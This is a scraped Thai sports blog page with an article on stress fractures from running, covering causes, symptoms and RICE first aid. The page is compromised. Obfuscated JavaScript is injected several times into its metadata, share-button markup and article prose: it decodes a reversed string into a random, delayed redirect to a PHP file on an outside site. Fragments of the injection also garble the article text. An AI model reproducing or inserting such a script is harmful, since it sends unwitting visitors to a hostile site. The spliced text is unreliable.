andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-r-1555168-unsplash.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2019/06/chandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-r-1555168-unsplash.jpg","width":1000,"height":665},{"@type":"WebPage","@id":"https://www.stepextra.com/stress-fracture-from-running/#webpage","url":"https://www.stepextra.com/stress-fracture-from-running/","name":"เรื่องควรรู้: อาการกระดูกร้าวจากการวิ่ง (stress fracture) - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/stress-fracture-from-running/#primaryimage"},"datePublished":"2019-06-15T11:02:41+00:00","dateModified":"2019-06-15T11:02:54+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"breadcrumb":{"@id":"https://www.stepextra.com/stress-fracture-from-running/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/stress-fracture-from-running/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/stress-fracture-from-running/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"เรื่องควรรู้: อาการกระดูกร้าวจากการวิ่ง (stress fracture)"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"],"url":"https://www.stepextra.com/author/kan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News

เรื่องควรรู้: อาการกระดูกร้าวจากการวิ่ง (stress fracture)

kan by kan
15 June 2019
in News, Running Tips
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-r-1555168-unsplash.jpg">
เรื่องควรรู้: อาการกระดูกร้าวจากการวิ่ง (stress fracture)
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-r-1555168-unsplash.jpg&description=%E0%B9%80%E0%B8%A3%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B8%84%E0%B8%A7%E0%B8%A3%E0%B8%A3%E0%B8%B9%E0%B9%89%3A+%E0%B8%AD%E0%B8%B2%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%81%E0%B8%A3%E0%B8%B0%E0%B8%94%E0%B8%B9%E0%B8%81%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%A7%E0%B8%88%E0%B8%B2%E0%B8%81%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87+%28stress+fracture%29" rel='nofollow' class="jeg_btn-pinterest ">

นอกเหนือจากอาการเท้าผุผองและแผลสดจากการเสียดสีในบริเวณข้อพักต่างๆ (blisters andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and chafing) อาการโรครองช้ำ (Plantar fasciitis) อาการปวด IT Bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and แล้ว เจ้าอาการบาดเจ็บที่น่ากลัวมากที่สุดอย่างหนึ่งคือ อาการกระดูกร้าว (stress fracture) ซึ่งเป็นอาการบาดเจ็บที่มักเกิดจากการ overuse ของนักวิ่ง

เรื่องควรรู้: อาการกระดูกร้าวจากการวิ่ง (stress fracture)

เรามาทำความรู้จักเพิ่มเติมกันว่า อาการกระดูกร้าวจากการวิ่ง (stress fracture) คืออะไร…มันคือการที่กระดูกมีการแตกร้าว (Crack) หรือมีอาการปวดบวม ฟกช้ำ อาจมีเลือดออกและเห็นเป็นจ้ำห้อเลือด ในหมู่นักวิ่งอาการกระดูกร้าวจะเกิดบริเวณ Lower Body หรือส่วนขาเป็นหลัก เมื่อกล้ามเนื้อมีอาการเมื่อยล้าและไม่สามารถซับแรงกระแทกได้ แรงกระแทกจะส่งผ่านกล้ามเนื้อเข้าสู่กระดูกโดยตรง เมื่อแรงกระแทกมากๆ เข้าจะเกิดอาการแตกร้าวเล็กๆ ขึ้น

อาการกระดูกร้าวจากการวิ่ง (stress fracture) เกิดจากการ Overuse ของนักวิ่งและ 80% เกิดบริเวณขาและฝ่าเท้า (ส่วน Lower Body) โดยเฉพาะบริเวณกระดูกที่อยู่ระหว่างกระดูกนิ้วเท้าและข้อเท้า ชุดกระดูกที่เรียกว่า metatarsals มีอยู่ด้วยกันห้าชิ้น กระดุกชุดนี้จะรับแรงทุกครั้งที่ก้าวเดินหรือวิ่ง นอกจากชุดกระดูกนี้ก็จะมีบริเวณส้นเท้าและข้อเท้าหรือบริเวณ Midfoot

อะไรเป็นสาเหตุให้เกิดอาการกระดูกร้าวจากการวิ่ง (stress fracture) บ้าง

1. Overuse เป็นอาการบาดเจ็บที่เกิดจาการสะสมแรงกระแทกมาเรื่อยๆ สักระยะเวลาหนึ่ง กระดูกเมื่อถูกกระแทกซ้ำๆ จะเกิดอาการบาดเจ็บเล็กๆ หากไม่มีเวลาให้พักฟื้นก็จะเกิดรอยร้าวขึ้นมาได้

การเกิดรอยร้าวของกระดูกมักจะเกิดจากการวิ่งเพิ่มระยะของนักวิ่งอย่างรวดเร็ว หรือจะเป็นการฝึกซ้อมที่หนัก และที่สำคัญคือไม่มีเวลาให้ร่างกายได้พักฟื้นเพื่อให้เวลาร่างกายได้ซ้อมแซมและปรับตัวรองรับกับ workload ที่จะเกิดขึ้น   

2. Form หรือฟอร์มการวิ่งของนักวิ่ง โดยเฉพาะฟอร์มการวิ่งที่over strike หรือคนที่ลงส้น (heel strike) มักจะเกิดอาการกระดูกร้าวได้ง่าย โดยแรงกระแทกจะถูกส่งไปยังบริเวณเอวโดยตรง ทำให้กระดูกส่วนต้นขาหรือส่วนสะโพกแตกร้าวได้ (Femoral neck fracture) แต่เมื่อเปลี่ยนมาวิ่งแบบ Forefoot เองก็มีความเสี่ยงเหมือนกัน เพราะแรงกระแทกจะถูกส่งไปยังฝ่าเท้าและข้อเท้ามากขึ้น นอกจากนี้การปรับเปลี่ยนมาวิ่งรองเท้าแบบมินิมอลเองก็มีความเสี่ยง ใส่แล้ววิ่งสับขาเร็ว กระดูกส่วน metatarsals ก็จะมีโอกาสเกิดอาการแตกร้าวได้เช่นกัน

3. การขาดสารอาหาร (Nutrition) การขาดสารอาหาร โดยเฉพาะวิตามินดีและแคลเซียม จะทำให้มีความเสี่ยงในการเกิดรอยแตกร้าวได้สูง หรือจะเป็นการขาดสารอาหารเพื่อซ้อมแซมร่างกาย การดื่มกาแฟอีนและเกลือที่มากเกินไปก็ส่งผลได้เช่นกัน

4. พื้นผิวถนนที่วิ่ง การวิ่งบนลู่วิ่งที่อ่อนนุ่มน่าเกินไป เมื่อมาลงคอร์สสนามวิ่งจริงที่แข็งกว่าก็จะเกิดอาการเตกร้าวได้ หรือการวิ่งบนพื้นถนนเดิมๆ แล้วเปลี่ยนไปเป็นแบบอื่นทันที ก็มีผลเช่นกัน

5. อุปกรณ์การวิ่งเสื่อมสภาพ โดยเฉพาะรองเท้าวิ่งที่หมดอายุการใช้งาน พวกโฟมส่วน midsole จะไม่สามารถซึมซับรับแรงกระแทกได้

ลักษณะอาการบาดเจ็บที่สามารถสังเกตได้หากเกิด อาการแตกร้าว

  • เกิดอาการปวดระหว่างวิ่งและเจ็บมากขึ้นเรื่อยๆ ยิ่งวิ่งยิ่งปวดเพิ่ม
  • อาการปวดรุนแรงหรือ Sharp pain สามารถระบุจุดปวดได้ว่ามาจากข้อกระดูกบริเวณไหน
  • พักแล้วก็ยังเจ็บ
  • อาการปวดและบวมบริเวณฝ่าเท้าหรือบริเวณข้อเท้า

อาการแตกร้าวสามารถเกิดขึ้นได้ทันทีโดยไม่มีการบอกกล่าวล่วงหน้า หากอยู่ๆ ก็เกิดอาการปวดขึ้นมาทันที ก็ให้หยุดวิ่งทันที ปฐมพยาบาลเบื้องต้นด้วยหลักการ RICE: R = rest (พัก) I = ice(น้ำเเข็ง) C = compression(รัด) E = elevation(ยก) และพยายามเข้าพบหมอทันทีหรือโดยเร็วที่สุด ทังนี้เวลาในการพักฟื้นอาจจะกินระยะเวลาถึง 6-8 สัปดาห์หรือมากว่านี้ก็ได้ ขึ้นอยู่กับระดับอาการบาดเจ็บ

อ้างอิง www.runnersworld.com

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-r-1555168-unsplash.jpg&description=%E0%B9%80%E0%B8%A3%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B8%84%E0%B8%A7%E0%B8%A3%E0%B8%A3%E0%B8%B9%E0%B9%89%3A+%E0%B8%AD%E0%B8%B2%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%81%E0%B8%A3%E0%B8%B0%E0%B8%94%E0%B8%B9%E0%B8%81%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%A7%E0%B8%88%E0%B8%B2%E0%B8%81%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87+%28stress+fracture%29" rel='nofollow' class="jeg_btn-pinterest ">
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • เกร็ดความรู้กับล้อจักรยาน

    0 shares
    Share 0 Tweet 0
  • หนึ่งวันก่อนวันวิ่งแข่งขัน เราควรซ้อมวิ่งหรือไม่วิ่งซ้อมวิ่งดี!!?

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.